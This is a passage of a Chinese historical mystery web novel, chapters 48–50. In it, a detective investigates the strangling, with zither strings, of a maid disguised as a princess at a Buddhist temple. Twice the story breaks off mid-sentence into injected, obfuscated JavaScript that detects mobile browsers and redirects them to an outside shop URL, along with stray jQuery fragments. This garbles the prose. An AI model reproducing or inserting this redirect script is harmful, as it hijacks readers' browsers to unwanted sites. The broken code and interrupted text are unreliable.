王博多佯装嫌弃,对万仙可怜巴巴道:“仙儿哥,你看这大头,多吓人啊。” 雾山角大喝一声,道:“王博多,你信不信我把你的舌头割掉!”说着,抄起剑就朝王博多追去。 王博多大喊“仙儿哥,救命!”,吓得四处逃窜。 走在后头的万仙看着蛇形迂回、追逐打闹的二人,扬了扬嘴角。 无人听到,他看着眼前美景,竟略带忧伤地说了一声:“都怪这春色太美了。” 48.第五案:佛寺杀01 “仙儿哥,人不是我杀的!”王博多惊慌失措地大喊,但那侍卫并未理会他的挣扎,反而将他反手捆绑,押解了出去。 万仙本想将他那白面折扇飞掷出去,救回王博多。但他稍一迟疑,还是收住了手。 当前强行阻拦,是救不回王博多的。唯有揭开真相,才能为他洗清冤屈。 万仙闭上双眼,深吸一口气,抑制住了心中升腾的怒火。 当他重新睁开眼睛时,眼中掠过锐利的光芒。他猛地一收折扇,迅速追出门外。 只见那侍卫态度强硬地将王博多推进了一间客寮。 客寮内,几位龙兴寺的僧人跪在地上,虔诚地低头诵念着佛经。那是为了超度亡灵所念的《地藏菩萨本愿经》。因为此刻,他们面前躺着一具女尸。 那是当朝帝皇的女儿,琴瑶公主。 她仍维持着被杀时的模样,扑倒在梳妆台前,细腻的双手微微弯曲,摊在地上,脸色惨白,双眸紧闭。带血的勒痕残留在她白皙的脖子上,触目惊心,令人不寒而栗。再怎么愚笨的人都知道,那勒痕出自何种凶器。因为那些凶器就落在琴瑶公主身旁。 它们是七根琴弦。凶手将它们绞成勒死公主的利器,完成任务后,又将它们随意丢弃。此刻,它们如枯发凌乱地散落在地。几根弦上,还沾有公主的皮肉与鲜血。 这些琴弦来自那把如今还存放在客寮中的稀世古琴。 古琴名曰“千芳”,琴身以千年古桐为材,色泽温润如玉,宛若琥珀。琴额雕琢着云纹,似缥缈仙雾,意境优美。远远观去,那云纹又似千朵牡丹,美不胜收,绝妙至极。但这绝不是它稀有之因。让它成为稀世古琴的,是那七根能弹奏出世间绝妙之音的琴弦。拨动琴弦,那弦音便如神仙的法咒,就能瞬间将人带到穹宇汪洋,过去将来。 这把千芳古琴辗转多年,经手数人,如今存于“异宝博多”当铺之中。 而千芳古琴之所以会出现在龙兴寺,则是因为王博多。 昨日,他奉命将它带到了龙兴寺。 今日,它就被人当作凶器,杀害了琴瑶公主。 公主之死,势必会让帝皇大怒。 不仅王博多会遭殃,异宝博多会遭殃,就连龙兴寺,乃至凌洛城,都可能被牵连。 王博多虽未见过帝皇,但他能想象出帝皇轻启双唇,命人摧毁龙兴寺,屠杀相关人等的模样。毕竟他曾听闻,太子小时候随母亲去寺庙礼佛,不小心在那摔断了腿,帝皇就将整座寺庙夷为平地,全然不顾及佛家颜面呢…… 思及此,他颤颤巍巍地看向门口追过来的万仙。 “仙儿哥……救命……”王博多再次颤抖地叫嚷起来。 僧人们听着他凄惨的叫声,不由地停下了诵经,转头跟着望向万仙。 只见万仙看了一眼尸体,皱了皱眉。 “真是头疼。”他说,“早知道,我就不跟来了。” 【第五案:佛寺杀】 若杀人的七根琴弦还在千芳古琴上,琴师抚琴的瞬间,王博多就会跟着回到来龙兴寺的那天。 王博多早已与家中有约,要定期回家中与爹娘相聚,吃上一顿团圆饭。往日,他为了从爹娘手中捞点银两过生活,从不忘记归家。但自从靠帮万仙经营话本生意赚到了点钱后,他便对归家一事,没有那么放在心上了。 这日,王博多的父母久等不到他回家,便照例派出了那对双胞胎阿奇阿怪,逮他回家。 王博多见了阿奇阿怪,下意识地撒开腿就跑。愣是跑了两条街,他才气喘吁吁地停下,问自己:“我这是在跑什么?” 话音刚落,追来的阿奇阿怪就将他架了起来。 “少爷,你得说话算话,按时回家呀。” 王博多自觉理亏,悻悻地低下头,任由阿奇阿怪将他拖走。 原本跟他一起逛街的万仙站在远处,冁然一笑,手里的折扇轻轻地摇着,一派轻松惬意。 王博多可没办法轻松惬意。他到家才发现,父母亲这次把他叫回家,不只是为了同他吃顿团圆饭,更是有要事要交予他。 几日前,某位权贵托人请“异宝博多”出借千芳古琴。 王老爷暗中打听权贵姓名,却得到高深莫测的三个字“不可说”。这三个字让他愈发重视此次的古琴出借。他早早叫人从藏宝阁取出千芳,仔细擦拭养护,欲要亲自护送到对方指定的地点——龙兴寺。 然而昨日起夜,他却不小心崴到了脚,走路都生疼,更别说护送古琴去龙兴寺了。正在思索派遣谁去之际,妻子念起儿子王博多。她说,也不知道王博多能当万仙的话本经纪多久,说不定之后还是得回异宝博多当班,不如现在就锻炼锻炼他。 王老爷觉得妻子所言极是,于是赶紧让阿奇阿怪把王博多带回来。 “为父伤病在身,只能靠你将这千芳古琴护送去龙兴寺,再完璧归赵了。”王老爷语重心长地嘱托。 王博多觉得自己若是拒绝,也太不孝顺了,只好答应下来。 他并不认为护送千芳是件多么难的事,扬言自己一人便可,但王老爷摇摇头,还是让阿奇阿怪一道陪他去。 王博多经常被阿奇阿怪追着满街跑,所以看到这对双胞胎,本能地脑壳疼。如今,同驾一辆马车,三人一路无言,他更是如坐针毡,不停扶额。 终于,马车驶过藏乐楼。王博多眼睛一骨碌,道:“等等,容我去叫上仙儿哥。” 不等阿奇阿怪阻拦,王博多就跳下还未停稳的马车,一溜烟地跑进了藏乐楼。 万仙正在清寒夜里看书,听到脚步声就知道是王博多,于是头也不抬道:“你怎么这么快就回来了?” “仙儿哥,你新写的话本得放几天再修订,对吗?”王博多道,“那刚好,我带你出去散散心。” “你忘了,我们上次出门散心,遇到命案了?”万仙继续将目光落在书页上,道,“还不如待在这清寒夜里,比较太平。” “我们哪有那么倒霉,每次出门都会遇到命案?!”王博多嚷道,“再说了,你不最爱命案吗?” 万仙摇了摇头,道:“谁会爱命案而不爱太平呢?” 王博多知道自己说错了话,挠挠头道:“好了好了,仙儿哥,其实我就是想让你陪我去一趟龙兴寺。” “为何要去龙兴寺?” 于是王博多把父亲的委托说给万仙听。他说自己倒不是非要万仙陪着,只是万仙若能陪他一起去,他便会快乐一些,也更安心一些。 他说得直接,让万仙翻书页的手微微一顿,指尖不知为何悄悄发了一点力,将书页捏得更紧了些。然后,低着头的他轻轻笑了笑,终于抬眼道:“也对,我们不至于那么倒霉,每次出门都会遇到命案。”说着拾过他的折扇,站起来,“再者,我觉得我们也可以在路上,聊聊新话本该选哪一家书商、哪一种用纸为好。” 王博多眼睛一亮,爽朗道:“没问题!仙儿哥,有你在,我可就太开心了。” 他屁颠屁颠地帮万仙收拾好包袱,领着他下楼去。 万仙一身朴素青衣,登上马车,就见阿奇阿怪端坐在车内。 “万仙公子。”两人见到万仙,立刻作揖招呼,声音如出一辙。 万仙朝两人点头,坚定地把目光逐一落在他们身上,对应着唤他们的姓名:“阿奇,阿怪。” 阿奇阿怪不由一愣。他们兄弟俩长得实在是相像,刚刚来的路上,王博多就将两人认反过,甚至连王家老爷也时常将他们搞混。然而,只见过他们几次的万仙,却能记得清他们谁是谁,这让他们心里生出一分感激。 王博多不知道兄弟俩心中的欣喜,他只是觉得有了万仙,这车厢之中的气氛,瞬间变得不沉闷了,自己的胳膊能伸开了,二郎腿也可以肆无忌惮地翘上来了,以“仙儿哥”开头的插科打诨也能说起来了,颠簸的路途便不再百无聊赖。 几个时辰后,一行人终于抵达龙兴寺。 龙兴寺乃是凌洛城里颇负盛名的寺庙。寺庙依山而建,正殿与配殿错落有致地组成四方天地,庄严巍峨。寺中古木参天,香烟袅袅,梵音低回,清幽怡人。 “不仅无数香客会慕名而来,在此祈福。许多僧人更是不畏艰险,跋山涉水来此修行。甚至还有日本僧人,跨越山海来此学习佛法教义,回国后创立宗派,弘扬佛教之精粹哩。”接待万仙和王博多的,是龙兴寺的凌缘法师。他年约四十,头顶戒疤,手捻佛珠,慈眉善目。虽然他身上的僧袍远看朴素,近瞧却能发现乃是茓麻与蚕丝混纺的佳品,可见他在寺中的地位不一般。 此刻,凌缘一边不无自豪地介绍着龙兴寺,一边领着众人将千芳古琴移送到一间已经布置妥当的客寮中。 待一切安置完毕,凌缘看着万仙四人,露出为难的表情。 他旁敲侧击地表示,借古琴的那位权贵,不希望在来龙兴寺时有太多“闲杂人等”在场,若“异宝博多”要留人监护千芳古琴,也最多只能留两人在寺中。 王博多作为王老爷的“钦点”,自然得留下。那么剩下的万仙和阿奇阿怪…… 王博多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199778|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望向阿奇阿怪。 阿奇阿怪也不傻,立刻道:“那我们过几天再来接少爷回去。” 于是王博多冲万仙嘿嘿一笑:“仙儿哥,那就有劳你陪我了。” 说是监护古琴,但其实众人都不觉得这琴在这客寮会出什么岔子。为了迎接那位权贵,龙兴寺贴了告示,谢绝香客近日拜访,常人根本不会进入寺院。而寺中僧人,更是不敢擅自进入那为权贵准备的客寮,碰坏那古琴。 所以很快,王博多就拉着万仙在龙兴寺闲逛起来。 “仙儿哥,你说那神秘兮兮的‘权贵’,究竟是谁?”走过回廊,王博多有一搭没一搭地跟万仙聊天。 万仙扇着扇子,眼神闪过一丝异样的光,然而扭头却笑脸盈盈地反问道:“你觉得会是谁?” “能让龙兴寺闭门谢客的,恐怕是京城来的权贵。或许是……”王博多低声道,“太子殿下。太子琴棋书画样样精通,说不定想来此清幽之地抚琴练曲,陶冶情操?” “你可见到那客寮里的梳妆台?那里可是备着梳妆用的铜镜和上好的胭脂香露呢。”万仙提醒道。 “还是仙儿哥眼尖。”王博多拍马屁一流,“我倒是没注意到这事……这么说来,来的是位女权贵?那说不定是大公主,听说大公主跟太子一样,琴棋书画,信手拈来。或者是……三公主,传闻她也琴技了得,才华横溢。” 听到“三公主”这几个字,万仙像是想起了什么似的,笑了笑。但是他很快就将这笑收了起来,所以王博多并未注意到他神情的变化。 万仙只听他继续滔滔不绝道:“不过,为何这位女权贵偏要在这佛家圣地抚琴练曲呢?又为何非要指定是这千芳古琴?” 没人回答他的自言自语。两人沉默地朝前走着,不一会儿,竟拐到了寺庙后院的一座佛塔前。该塔共七级六面,砖木混砌楼阁式,其内中空,可攀登而上。塔的每一面外壁都镶嵌着一尊石佛像,佛像形态各异,栩栩如生,令人不自觉地仰目惊叹其壮观静美。 “这佛塔真是气势非凡。”万仙感叹。 身为凌洛城人的王博多自豪起来,道:“这是凌洛城历史最悠久的佛塔,也是龙兴寺的传奇瑰宝——千佛塔。” 话落,王博多领着万仙走上通往佛塔的石阶,就见一名年轻的僧人在佛塔的一面,虔诚地双膝下跪,双手触地,额头贴近手背,以俯伏之态跪拜面前的一尊佛像。跪拜完毕,他拿起一块抹布,欲要去擦拭面前的佛像,就发觉万仙和王博多站在他身后。 “施主……”清瘦矮小的他立刻转身,双手合十,微微躬身。 听到他的声音,塔身另一面,又出现一个额头渗汗的年轻僧人。 他走到刚刚跪拜佛像的僧人面前,眉头紧蹙道:“圆尘,寺里不是贴了告示,说香客近日不准入院吗?” “是的,慈航师兄。”圆尘捏着抹布,局促地回应道。 “那他们是……”慈航打量着面前的万仙和王博多。 王博多皱了皱鼻子,想,这名叫慈航的和尚怎么回事,怎么一脸不耐烦的模样? 万仙却了然地笑了笑,解释道:“我们奉命来送千芳古琴,要在寺庙小住几日。现在闲来无事,就随意走动一下,舒舒筋骨。”说着,他指向不远处的小池塘,“王博多,我们去那边逛逛。” 也不等王博多反应,万仙就对慈航和圆尘欠了欠身,攥着王博多的手腕,带他从千佛塔离开。 被拉走的王博多不明所以,嚷道:“那小池塘哪有千佛塔好看啊?” 万仙拿自己的折扇点了点王博多的脑袋:“你傻呀,看不出人家慈航不高兴?” “我当然看出来了。”王博多撇撇嘴道,“但僧人不应该慈眉善目,和颜悦色吗?干嘛给我们摆脸色?” “僧人也是人啊。”万仙叹道,“慈航和圆尘二人,恐怕从上到下,打扫擦拭了整座千佛塔。好不容易扫到最后一层,我们俩却来了。他担心我们要登塔观赏,让他们这番打扫功亏一篑,自然就不悦了起来。” “哦哦哦。”王博多这才敲了敲自己的脑袋道,“我怎么没想到这一层。算了算了,待那位权贵走后,我们再好好登塔赏景去。” 他大咧咧地随万仙走下石阶。而他们身后的慈航终于收回凝视的目光,催促圆尘道:“别愣着了。我们赶紧打扫完,准备接驾。” “是,慈航师兄。”圆尘赶紧举起手里的抹布,小心翼翼地擦拭起面前的佛像…… 没过多久,龙兴寺门口停下了两辆马车,那位女权贵到了。 49.第五案:佛寺杀02 “恭迎三公主——” 当僧人齐声恭迎公主驾到时,混在人群里的王博多低声道:“原来他们知道来的人是三公主!感情只有我们傻傻地被蒙在鼓里?!” 万仙笑而不语,目光穿过密密麻麻的人群,向前望去。只见知客僧上前,手持杨枝净水,向车驾方向轻洒几滴,念诵一声 “净水洒尘,清净吉祥”。 接着,马车的帘子被撩起,一位戴着面纱的侍女从马车上下来,她用清亮的杏眼扫视着众人。随后,身着藕荷色窄袖襦裙,头簪莲花步摇的三公主——琴瑶公主——才终于现身。她凤眼低垂,缓缓下了马车。那位杏眼侍女和一位脸色冷酷的带刀侍卫紧紧地伴在她身旁。 而她身后那辆马车的车帘,此时也微微一动,一只骨节分明的手先探了出来。接着,那只手的主人露了面。那是一位鹤面修长的年轻男子,深邃的眉目点在这张脸上,像浓墨落在宣纸上。 “他是……” 万仙听到耳边传来细小的、激动的声音。转头一看,竟是刚刚对他们没有好脸色的慈航。 “是谁?”他身旁的圆尘好奇地问道。 “你我最喜欢的《春景论道图》就是他画的。”慈航道。 “他是京城那位赫赫有名的画师,墨青洲?” “不错。”慈航微微颔首,眼中泛起追忆之色,“那年我随知空住持与凌缘师兄赴京辩经,曾有幸得见他。此人如今专为官家执笔,笔下山水可夺造化之工,人物肖像更是形神兼备,精彩绝伦。” 正说着,人群开始移动。 龙兴寺的知空住持亲自引路,和凌缘一同将琴瑶公主与墨青洲迎进了龙兴寺。知空住持低声介绍着寺院概况,说到重要之处,他故意停了下来,示意凌缘接上。谁知凌缘不知为何,久久地把目光落在琴瑶公主身上,一时竟没反应过来要接话。 “咳咳。”知空住持低声咳嗽,终是让凌缘回过神来,磕磕巴巴地顺着刚才的话讲下去。 万仙跟在随行的人群里,记下了这常人难以留意的瞬间,就听身旁的王博多嘟囔:“原来如此。” 听到他故作神秘的言语,万仙猜到他又要得意地“卖弄”一番,于是顺着他道:“什么‘原来如此’?” “三公主这次来龙兴寺,重点不是为了礼佛或是练琴,而是为了如今盛行的‘游历图’。”王博多虽然压低了声音,语气却颇有一种“老子可算是知道了!”的自满感。 他道,如今的富商权贵,不仅爱游山玩水,也爱在游玩时,留下一幅或多幅游历图,记录当时的场景。游历图一般有人有景,人要精美,景要独特,方才能展现出画主之品位。若图中还能搭配一些出彩的道具,就更能彰显画主的雅趣了。 绘制出游历图后,富商权贵们会在家中宴请宾客之时,将游历图一一摆出,与好友一边赏画,一边追忆当初的美景乐事,讨上几句夸奖赞美。若能让宾客好友流露羡慕嫉妒之色,那更是会让这些画主暗自窃喜,觉得带着画师上山下海再辛苦,也值当了。 “也不知是哪位富商权贵让这游历图流行开来的。如今,已有不少富家少爷小姐,在这事上攀比了起来。为了争一口莫须有的气,他们可谓煞费苦心。我还听说有人为了去崖边取景,掉下来一命呜呼呢!” 万仙望着三公主的背影,无奈地笑了笑。以他对三公主的了解,这攀比的事,她的确干得出来。但嘴上,他还是得来上一句:“三公主何至于此?” “嘿嘿,仙儿哥,这你就有所不知了。我爹上月刚去了一次京城。回家后,他跟我讲过,京城如今最有名的游历图,是大公主去沧州让画师留下的《琴满沧州》。听说不少人学着大公主,去沧州游玩、绘图呢。恐怕,三公主是为了学大公主,哦,不,是为了比过大公主,所以才带上墨青洲来此寻新景,绘制新的游历图。”王博多恍然大悟道,“怪不得她非要千芳古琴。那琴不仅琴音悦耳,雕刻更是精美异常,简直是入画的首选。” “确实有所长进。”万仙忽然低语夸道。 王博多没听清,急忙问:“仙儿哥,你说什么?” 万仙摆手道:“我说,我们赶紧跪下礼拜吧!” 王博多这才意识到,他们已经随众人进入到了大雄宝殿内。 就算琴瑶公主只是为自己的游历图而来,但表面上,她可不敢失了应有的礼数。来到佛寺,她自然是要先拜拜的。 龙兴寺的大雄宝殿中,三尊贴金大佛端坐于莲花宝座之上,俯瞰着众生。 为显诚意,琴瑶公主特地叫人撤走了拜垫,在知空住持和凌缘法师的带领下,双膝跪地,拜起佛来。万仙和王博多学着僧人双手触地,再将额头点地,身体俯伏在地上。最后,众人抬起头,起身站立,双手合十。 整个过程庄严肃穆,连王博多都不敢再多吭一声。 礼完佛,琴瑶公主表示自己舟车劳顿,有些乏了,于是知空住持赶紧叫凌缘将客人带去客寮。 琴瑶公主顿了顿,道:“我要的琴可安排妥当?” 凌缘赶紧回答道:“自然是备好了。” 说着,他指着万仙和王博多,低声同公主一行人说了几句介绍的话。于是公主与侍女侍卫一齐抬头。 目光交汇,万仙冲着他们浅浅地笑了笑。那是一种饶有兴致的笑。王博多若察觉,必是要追问万仙为何这般笑的。但现在,他只是在一旁欢快地冲公主摆摆手。他虽也见过不少世面,但见皇家公主,还是头一遭,难免有些兴奋。 琴瑶公主虽未对他们俩露出表情,却颇有礼数地颔首。接着,她便带着侍女和侍卫离开,朝客寮走去。 而同他们一起来的画师墨青洲则表示自己想去寺庙逛逛,堪堪景。知空住持便叫慈航为他引路,给他介绍介绍龙兴寺的景色与历史。 待转了一圈回来,墨青洲便入住了位于琴瑶公主隔壁的客寮。 晚上的斋饭,由慈航与圆尘一同送到他们房中。万仙和王博多,则同其他僧人一起在斋堂就餐。 晚饭后,万仙在凌缘给他们安排的房间里看了一会儿书,困意就上来了。王博多屁颠屁颠地去关窗,就见公主的随身侍卫抱着剑值守在公主入住的客寮外。 “有大内侍卫在,总不会发生命案了吧。”王博多小声嘀咕,然后开始思考等公主用完千芳古琴,自己将其完璧归赵后,该问父亲讨要点什么为好。 谁知道第二天天刚亮,他就被闯进来的侍卫从床上拎了起来。 “你要干什么?”王博多挣扎着大喊。 “你自己知道,你干了什么好事!”那侍卫满头大汗道。 王博多茫然道:“我干了什么了?” “你杀了人!” “啊?”王博多嚷道,“昨晚我跟仙儿哥睡在同一屋中,怎么可能去杀人!” “说不定你趁着他睡着,偷偷溜出去杀了人。或者,你们两个是同伙!” 万仙冷峻地打断了侍卫的话,道:“所以谁死了?” 王博多这时恢复了一点理智,他在心里暗叫:仙儿哥!你这么聪明,还猜不到吗!能让侍卫这般激动地抓人,死的人恐怕就是…… 王博多不敢想下去,只得在心里大嚷“仙儿哥,你怎么一语成谶啊!我怎么这么倒霉啊!”。就在这时,那侍卫再次发力,将他反手捆绑起来。 “仙儿哥,人不是我杀的!”王博多再次叫嚷起来。 他就这么一路喊到了公主入住的客寮。 客寮里,昨日那位仪态端庄的琴瑶公主,今日凄惨地倒在梳妆台前。她被人用千芳古琴的七根琴弦,活活勒死了。 看着尸体,王博多不由害怕起来:“仙儿哥……救命……” 万仙皱了皱眉,道:“真是头疼。早知道,我就不跟来了。” 那侍卫见万仙看到尸体后并不着急紧张,不由跟着皱眉。然后,他故意大喝一声,把剑指向王博多道:“少给我废话!快说,为什么要杀公主?” 万仙上前,用手上的折扇不疾不徐地推开侍卫的剑。 “可是大人……公主又没死。” 此言一出,一片哗然。 那琴瑶公主,明明就倒在他们的脚边,一动不动。而且知空住持也探过她的气息与脉搏,告知众人为时已晚,尸体已经凉了。那么,这面如冠玉的公子,为了给好友开脱,在胡说些什么呢? 万仙也不急着解释。他不顾众僧人们疑惑的目光,死死地盯着那急切的侍卫。 原本吓得快尿裤子的王博多,听到万仙的话,瞬间冷静下来。他手上因为惊恐而产生的酥麻感渐渐退去,发软的双腿也不再颤抖了。 因为他知道,万仙才不会胡言乱语!若他说公主没死,那公主一定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199779|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没死!可是…… 王博多看向身旁的尸体。那明明就是昨日下马车的公主啊!不,等等! 他脑子飞速旋转。 仙儿哥一定有他的道理!王博多闭上眼睛,让意识中那个跟万仙苦学探案本事的自己站出来。 快学学仙儿哥!快学学他! 终于,王博多睁开了眼。他盯着尸体的双手,大声道:“这不是琴瑶公主。” 众僧人闻言,再次议论纷纷。 万仙却冲王博多点点头,示意他继续推测下去。 “世人都知三公主才华横溢,琴艺了得。但是各位请看,这死者的双手……”他指着尸体细腻的双手道,“要‘琴艺了得’,必得百次千次地习琴练曲。可是这死者的双手,连一枚习琴时留下的茧都没有!” “这……”昨日万仙他们遇到的和尚慈航,不可置信道,“这人在冒充三公主?” “难道他们一行人全是假的?”慈航身旁的圆尘也跟着道,“好大的胆子……假冒皇亲贵胄可是死罪,所以这假侍卫才会如此紧张?” 万仙摇摇头,道:“公主被害,我们一定会报官,同行人的身份一定会被查验。所以,若他们一行都是假的,他们不应该如此兴师动众地抓王博多,而是应该趁乱逃走。” “他们没有走,是因为他们当中有真的公主?”王博多想起了那戴面纱的杏眼侍女,“那位侍女才是真的琴瑶公主?” 说着,他指向人群里,冷冷看着在场一切的侍女。 那侍女见到众人望向自己,也不慌张,而是缓缓地摘下了面纱,露出她那国色天香的脸。那双杏眼,随着她嘴角含义不明的笑,微微弯起,变成了月牙。 倏地,她收起笑容,目光冰冷,厉声道:“到底谁想杀了本公主?!” 她的声音透露出被骄纵惯了后才有的威严感,震得在场众人纷纷像干了错事的小孩,低下头去。 唯有万仙与这位真正的琴瑶公主,四目相对,并不躲避。 琴瑶公主看着万仙那深邃的眼睛,微微一愣。 但她很快把目光瞥过去,落在王博多身上。 她冷冷道:“是你要杀了本公主?” “怎么可能!”王博多猛烈地摇着头。 这时万仙开口道:“公主殿下,死的这位,其实是你的侍女吧?” 见真正的琴瑶公主点头,他继续道:“您的侍卫知道自己保护不力,于是像发了狂的狗,逮住人就乱咬,企图把众人的注意力都落到他人身上,实属让人恼怒,公主可不要被他给误导了。这侍女虽不及公主这般身份尊贵,却也是条宝贵的人命,我们理应认真调查,找出杀害她的凶手,还她公道。” “你!”被骂疯狗,侍卫气急败坏,却也不好多说什么。 王博多见机接话道:“公主殿下!我若是凶手,怎么会用自己带来的古琴琴弦杀人呢?一定是有人要把这杀人罪责栽赃到我身上……” “那是谁?谁想要杀本公主,又要把这命案栽赃到他身上?!” 她扫视着在场的所有人,众人不知为何又都纷纷垂下眼帘。 琴瑶公主见他们这副模样,忽然生气起来。她指着王博多道:“我不管,先把这人给我关起来!谁知道他是不是故意为之的!” 众人都没想到这公主会这么不讲道理,于是彼此目光传信,似在讨论什么,嘴上却不敢多言一句。 而这头,被万仙怼得哑口无言的侍卫得令,重拾了刚才的气焰,一把将王博多拎了起来,欲要将他带去关禁闭。 “仙儿哥……”王博多再次求救。 万仙看着三公主,在心里叹了口气。他走到王博多身前,道:“别担心,我定会找到真凶,救你出来。” 话音未落,琴瑶公主嚷道:“你究竟是谁?你凭什么查本公主的案子?” 这骄纵的语气,真是熟悉。万仙心里浅笑,嘴上道:“在下万仙……” “我管你万仙、千仙、百仙呢,你又不是衙门里的人,我凭什么信你?” “谁说他不是衙门里的人?”这时,门口传来清冷的男声。 万仙抬眼望去,瞧见那声音的主人,闪身在了客寮门口。 他一身黑色劲装,挺拔如松,棱角分明的脸上,是不动声色的神情。 来者正是小师爷,雾山角。 50.第五案:佛寺杀03 “我乃凌洛城衙门师爷雾山角,拜见三公主。”雾山角疾步上前,跪拜公主。 起身后,他走向万仙,偷偷冲他眨了一下眼。然后,他在他面前转身,继续对公主道:“万仙乃是凌洛城知县新收的谋士,同我断过不少奇案,相信我们一定能为公主抓住凶手。” 说着,他从背后将一块令牌悄无声息地塞到万仙袖口。万仙眼疾手快,稳稳接住,随后将那块令牌亮了出来。 “公主殿下,这块令牌就可证明。”万仙躬身递过令牌。这令牌与人头花瓶案时知县魏天知给他的那块一模一样。 琴瑶公主根本不在意令牌。她上下打量着万仙,眼神闪烁,像在思考什么。但最后,她还是作罢,挥挥手道:“如果你们这两天找不到凶手,什么师爷,什么谋士,都给我别当了!” “是,公主殿下。”雾山角带着万仙答应下来。 这时,凌缘法师上前,道:“小师爷,我刚刚才让小沙弥下山通报,你怎么这么快就来了?” 他这一问,众人也纳闷起来。这龙兴寺离衙门可远得很呐!刚刚众人才发现了那侍女的尸体,衙门的人怎么可能来得这么快? 万仙却并不惊讶。三公主娇蛮任性,最爱溜出宫去玩耍。她对世间的险恶,没有正确的感知,以为带一位侍女一个侍卫,就能处理大小事宜。但她的父亲、高高在上的帝皇可不敢任由她这般单纯地入世。 如同看孩儿第一次出门上学,他虽不现身,但也得派人远远地监护着。 三公主以为自己只知会了龙兴寺的僧侣,自己要莅临。但其实,凌洛城的衙门,早就收到了帝皇那边的指示,要他们暗中保护三公主所在的龙兴寺。为了不被三公主发现,雾山角带领衙役在龙兴寺外驻守,以防有外人对公主不利。 谁料,寺中还是发生了意外!当瞧见小沙弥慌慌张张地从寺庙出来,他们才知里面闹出了人命。 雾山角赶紧奔入寺院,就撞见了刚才那番场景。 雾山角讲完缘由,众人终于了然地颔首,唯有琴瑶公主撇撇嘴,一脸不悦。似乎她并不希望帝皇暗中护着她。可眼前闹出了命案,她也不好意思说出“谁需要他派人保护”这种话来。 而这头,万仙已经抓住了重点。 他问雾山角:“所以你们昨夜并未瞧见有外人进出寺院?” 雾山角点点头,带着询问的目光,看向知空住持,道:“除非这寺院还有密道。” 知空住持赶紧摇头,道:“龙兴寺并没有什么密道。” “那么,杀害这位假公主的凶手,就是你们当中的某一个人。”雾山角用如鹰隼般的目光扫视着众人。 “我们一众僧人与她无冤无仇,为何要杀她?”慈航困惑道。 “对啊,我们应该都是昨日才第一次见到她,怎么会有人对仅有一面之缘的人下如此狠得毒手呢?”圆尘跟着接话道。 听到两人一唱一和,凌缘颇为不满道:“人家小师爷查案,你们插什么嘴?” 慈航和圆尘互看一眼,悻悻地闭了嘴。 于是凌缘双手合十,冲着雾山角道:“所以小师爷……接下来怎么办?” 接下来自然要问问面前这位真公主,为何要让侍女假扮自己了。可还未等雾山角开口,万仙就举着折扇上前,在他耳边耳语了几句。 雾山角皱着眉头听完,对众僧人颔首道:“你们先出去吧。” 僧人们赶紧对着尸体再念了一遍“阿弥陀佛”,就要遵从雾山角的指示离开客寮。 “等等。把他先关禁闭。”琴瑶公主的贴身侍卫,把王博多一推,指挥凌缘道。 凌缘冲慈航和圆尘扬了扬下巴。两位年轻的僧人赶紧一人一边扣住了王博多的肩膀。 王博多知道面对不讲理的公主和侍卫,再挣扎也无用,只能束手就擒。 万仙看着他被带离的身影,无奈地握紧了手中的折扇。 待众人离开,雾山角向留在客寮里的公主作揖道:“公主殿下,下官有话想问。” 琴瑶公主眯起眼,冷不丁地丢出一个字:“问。” “昨夜,您可与这侍女同在这客寮里?”雾山角指着尸体问。 琴瑶公主一仰头,磕磕巴巴答道:“当……当然。” “凶手行凶时,您就在屋内?昨夜有歹人入屋,你们一点反应都没有?难道他将你们都迷晕了?那他为何不杀您,只杀她?” “可能是因为那凶手以为,她才是真正的三公主吧。”琴瑶公主只回答了最后一个问题。 “那么公主,在下想知道,您为何要让侍女假扮自己?难道公主有察觉,有人想要谋害于你,所以才在微服私访时,与侍女先互换了身份?”万仙接着问道。 琴瑶公主下意识地摇头。 万仙勾起嘴角,道:“想来也是,若真有性命之忧,公主根本不会莅临龙兴寺。毕竟,又不是皇家祭典,非来不可。” 琴瑶公主提高了声量,气道:“你到底想说什么?” “在下让小师爷驱走众人,是想确认,昨夜公主真的在这客寮里吗?”万仙顿了顿道,“既然公主与侍女互换身份,并非出于对生命安全的忧虑,那么,在下斗胆推测,公主或许另有隐情。譬如,您此行的目的可能不仅仅是为了朝圣礼佛和绘制游历图,而是为了与心仪之人幽会。” “大胆!公主的清誉岂是你这种贱奴信口雌黄,随意糟蹋的!”侍卫立刻拔剑相向。 万仙却不惊不惧,气定神闲地摇着自己的折扇,等待公主的回答。 琴瑶公主凝视他这副模样许久,眼底闪过一丝兴致,命令道:“山竹,放下剑。” 那名叫山竹的侍卫应和一声,不情不愿地收起了剑。 琴瑶公主这才回答万仙道:“没错,昨夜我的确不在这客寮里。”她难过地看了一眼地上的尸体,继续道:“昨夜我让葡萄继续扮演我,而我则去了隔壁房间。就算被旁人瞧见,他们最多以为,与宫廷画师墨青洲幽会的是三公主的侍女。” “公主……”山竹没想到她就这么承认幽会之事,脸上显出忧色。 琴瑶公主愠怒道:“我知道,父皇养我宠我,是想以后送我去联姻。但是,我与青洲大人就是爱了,恋了!如何?!每次偷偷摸摸,要以画游历图为由才能幽会,我也是疲累得很!” 雾山角看到她这番坦率言语,心里不禁佩服。 